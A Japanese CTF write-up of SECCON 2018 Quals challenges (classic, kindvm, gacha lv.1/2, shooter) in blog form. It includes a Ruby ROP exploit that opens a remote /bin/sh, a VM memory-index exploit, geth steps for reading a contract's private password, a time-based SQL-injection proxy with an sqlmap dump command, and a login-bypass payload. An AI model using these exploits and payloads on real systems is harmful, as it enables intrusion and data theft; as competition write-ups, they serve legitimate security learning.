SECCON 2018 Quals write-up (classic, kindvm, gacha lv.1/2, shooter last part)
TSGで出ました。2位です!わいわい!
本戦は僕は出れません。
チームのひとびとの記事
hakatashi.hatenadiary.com
moraprogramming.hateblo.jp
qiita.com
自分がflag submitした問題は、タイトルの5つのようです。
うち、shooterは最後の段階しかやっていません。
classic
やるだけ。
見た瞬間10分で解こうと自分でプレッシャーを与えたが、結局30分以上かかってしまった。精進が足りない。x64だと気づくのに10分かかった。
require 'socket' plt_puts = 0x400520 plt_printf = 0x0000000000400540 plt_gets = 0x400560 got_puts = 0x601018 pop1ret = 0x00400753 buf = 0x00601000 rel_puts = 0x00006f690 rel_system = 0x0045390 rel_binsh = 0x18cd57 rop = [ pop1ret, got_puts, plt_printf, pop1ret, got_puts, plt_gets, pop1ret, buf, plt_gets, pop1ret, buf, plt_puts, 0xdeadbeef, ] s = TCPSocket.new('classic.pwn.seccon.jp', 17354) s.puts [buf+0x1000].pack("Q")*9 + rop.pack("Q*") nil until s.read(1) == '!' s.read(1) # ! s.read(1) # LF sleep 0.3 a_puts = (s.readpartial(100) + 0.chr*100).unpack("Q")[0] libc_base = a_puts - rel_puts a_system = libc_base + rel_system s.puts [a_system].pack("Q") s.puts '/bin/sh' sleep 0.3 s.puts 'cat flag.txt' while l = s.gets puts l end
kindvm
とってもkind。
mallocの順序的に、heap上では、
という前後関係が満たされる。
HALT時のfarewellにbanner.txtの代わりにflag.txtを読ませようと考えて、そのflag.txtという文字列はusernameに載せようと思うわけだけれど、そのためにはmemoryに対する負indexアクセスがしたくなって、一瞬load/storeがindexに16bitしかアドレスとらんやんけと思ったが、その16bitがmovsxで符号拡張されているので安心。
require 'socket' s = TCPSocket.new('kindvm.pwn.seccon.jp', 12345) s.puts 'flag.txt' sleep 0.3 NOP, LD, ST, MV, ADD, SUB, HLT, IN, OUT, HINT = 10.times.to_a s.print [ LD, 0, 0xFF, 0xD8, ST, 0xFF, 0xDC, 0, HLT, ].pack("C*").ljust(1024,NOP.chr) while l = s.gets puts l end
gacha lv.1
どうにかして自分のcontractのpasswordを得られれば、それを使ってそのcontractのownerになることができ、initSeedによって自由にseedを書き換えられる。
passwordはprivate fieldなので、得るために下の記事を参考にした。
medium.com
getStorageAtによってstorageのバイナリを得たら、頑張ってパスワードっぽいところを見つける。solidityスクリプトの順序どおりに並んでるようなので、そう大変ではない。(実質4byteだった。)
このパスワードを引数にしたchangeOwnerのtransactionを発行して、seedを自由にできるようになったら、
近くに来るblock.numberの逆元を12345に掛けた値をseedにすることで、宝くじを当てられる確率がぐんと上がる。(タイミングを見計らうのはまあむずかしいが...)
$ geth console > // create an account with an account_password and put your private key > // download solidity script, compile it with solc and get abi > var ac = eth.accounts[0] > personal.unlockAccount( ac ) > > var storage = [] > for(var i=0; i<100; i++){storage.push(eth.getStorageAt(your_contract_addr, i)} > > var password = find_your_password_in_storage > eth.contract( abi ).at( your_contract_addr ).changeOwner.sendTransaction(password, {from: ac}) > console.log( eth.blockNumber ) > eth.contract( abi ).at( your_contract_addr ).initSeed.sendTransaction(new_seed, [from: ac}) > eth.contract( abi ).at( your_contract_addr ).pickUp.sendTransaction({from: ac}) > // visit your contract in browser and get flag
gacha lv.2
satosさんに方針を立ててもらったし、ついでに行動選択スクリプトもかいてもらった。
実際のところ、現時点から100ブロックもチェーンが確立する間を見ておけば、pickUpのタイミングをうまく選択すると、resultを12345にすることが十分に可能。
pickUpの回数も、4~7回くらいで済む。
このpickUpするべきブロック番号を調べるスクリプトはsatosさんにさっと書いてもらって、自分はそのタイミングでうまく宝くじを引くスクリプトを書いた。
とはいえ結構タイミングがシビアで、アカウントを作っては消してを繰り返して、最終的には3並列くらいで宝くじを回し続けたら、当たったのが出た。
$ geth console > personal.unlockAccount(eth.accounts[0], account_pass, 0) > > eth.filter('latest').watch(function(e,b){ > var bn = eth.blockNumber > var nextbn = bn + 1 > > // (11 * 24655 * 24679 * 24681 * 24687 * 24693) % 200000 == 12345 > if([24655, 24679, 24681, 24687, 24693].indexOf(next_bn) != -1) { > console.log('emit transaction', next_bn) > eth.contract(abi).at( your_contract_addr ).pickUp.sendTransaction({from: eth.accounts[0]}) > console.log('emit transaction done', next_bn) > } else { > console.log('pass', next_bn) > } > })
ちなみに、これらGacha兄弟は、いわゆるCrypto Genreに入れてよいのかは議論の余地がありますが、しかし個人的にEthereum/スマートコントラクトの勉強になり、ためになった問題でした。
shooter last part
GenreはReversingだけれど、最後のWebフェーズのところから参加。
僕のWindows PCのモバイルホットスポットで立てたWi-Fiに、hakatashiのAndroidからつないでもらって、アプリを動かしたときに流れるパケットをWiresharkでとる。
その少し後に、apkのreversing結果から http://staging.shooter.pwn.seccon.jp という謎URLをhakatashiたちが見つけて悩んでいたので、その謎URLの近くに書いてあった/adminでもつけてみてアクセスしたところ、なんかでてくる。
SQLiがあることにこれまたhakatashiが気づいたので、SQLiでDBをダンプしていく。SQL Engine(MySQL)と、アクセスしているテーブル名(managers)およびそのフィールド(login_id, password_hash, ...)まではrubyでtime-based techniqueでやっていったけれど、そのあたりから面倒になってきたので、続きはお膳立てhttp proxy serverを建ててあげて、sqlmapに任せた。
def urlencode(x) x.bytes.map{|x| "%%%02X"%x}.join end def req(pass) puts pass u = urlencode pass token = `curl 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new' -H 'Origin: http://staging.shooter.pwn.seccon.jp' -H 'Cookie: _shooter_session=Oycgbd6BstQOTgP9eT1yr5ve8DMPu08n3hEczhjXTl3%2Bo6ysEVPituGlpOKM2IcTaJ6%2BEsiBnIVlPPKFelFiow4NhL6NZgITF3KuNedJV6nU4D6JGnoFtp3wGvGDOm7W0FoRNAPGqRE9xVTWbSE%3D--7gLwbbI1CFVhU3kB--3vja7ydYdoSYcoXueypn8g%3D%3D' 2> /dev/null`.scan(/authenticity_token" value="(.*?)"/).flatten[0] res = `curl 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -H 'Origin: http://staging.shooter.pwn.seccon.jp' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Referer: http://staging.shooter.pwn.seccon.jp/admin/sessions/new' -H 'Cookie: _shooter_session=Oycgbd6BstQOTgP9eT1yr5ve8DMPu08n3hEczhjXTl3%2Bo6ysEVPituGlpOKM2IcTaJ6%2BEsiBnIVlPPKFelFiow4NhL6NZgITF3KuNedJV6nU4D6JGnoFtp3wGvGDOm7W0FoRNAPGqRE9xVTWbSE%3D--7gLwbbI1CFVhU3kB--3vja7ydYdoSYcoXueypn8g%3D%3D' --data 'utf8=%E2%9C%93&authenticity_token=#{urlencode(token)}&login_id=admin&password=#{u}&commit=Login' 2> /dev/null` end require 'sinatra' post '/inj' do pass = params[:pass] pass = "hoge' or 'hoge' ='" + pass req(pass) end
sqlmap -u 'http://localhost:4567/inj' --data pass=hoge --technique=T --dbms mysql --dump --time-sec 2
ちなみに、いやすごいエスパーだと思うんですが、ログインを通す極小解は下。カッコがキモ。
username: admin password: '))or(('a'='a